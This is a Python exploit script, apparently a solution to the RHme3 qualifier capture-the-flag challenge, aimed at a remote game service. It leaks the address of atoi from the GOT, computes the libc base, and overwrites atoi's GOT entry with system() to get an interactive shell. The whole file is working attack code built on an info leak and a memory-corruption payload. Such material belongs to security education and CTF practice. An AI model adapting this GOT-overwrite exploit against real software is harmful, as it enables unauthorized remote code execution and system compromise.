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rhme3_quals_xp.py
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| #!/usr/bin/env python3 | |
| import struct | |
| from libctf import * | |
| port=1337 | |
| atoi_got = 0x603110 | |
| #ubuntu 14.04 | |
| #atoi_offset = 0x039ea0 | |
| #system_offset = 0x46590 | |
| #host="127.0.0.1" | |
| # target | |
| atoi_offset = 0x36e80 | |
| system_offset = 0x45390 | |
| host = "pwn.rhme.riscure.com" | |
| s = Socket(host, port) | |
| s.connect() | |
| print(s.readline()) | |
| #input("Attach now:") | |
| leakaddr=q(atoi_got) | |
| while leakaddr[-1]==0: | |
| leakaddr=leakaddr[:-1] | |
| payload = \ | |
| b"""1\nABCD\n0\n0\n0\n0\n1\nEFGH\n0\n0\n0\n0\n3\n1\n2\n1\n2\n0\n1\n""" + \ | |
| b"""CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDD\n""" + \ | |
| b"""0\n0\n0\n0\n1\n""" | |
| s.send(payload) | |
| for i in range(4): | |
| s.expect(b"Enter player name: ") | |
| payload2 = b"""AAAABBBBCCCCDDDD""" + leakaddr + b"""\n0\n0\n0\n0\n""" | |
| s.send(payload2) | |
| s.send(b"5\n") | |
| s.expect(b"Name: ") | |
| leak = s.recv(9) | |
| stop = leak.find(b"\n") | |
| if stop != -1: | |
| leak = leak[:stop] | |
| leak = leak + b'\x00' * (8-len(leak)) | |
| atoi_addr = struct.unpack("<Q", leak)[0] | |
| print("atoi address: %x"%(atoi_addr,)) | |
| base = atoi_addr - atoi_offset | |
| print("Libc base: %x"%(base,)) | |
| payload3=struct.pack("<Q", base + system_offset) | |
| while payload3[-1]==0: | |
| payload3=payload3[:-1] | |
| s.send(b"4\n1\n" + payload3 + b'\n') | |
| print("Enjoy your shell") | |
| s.interactConsole() | |
| s.close() |
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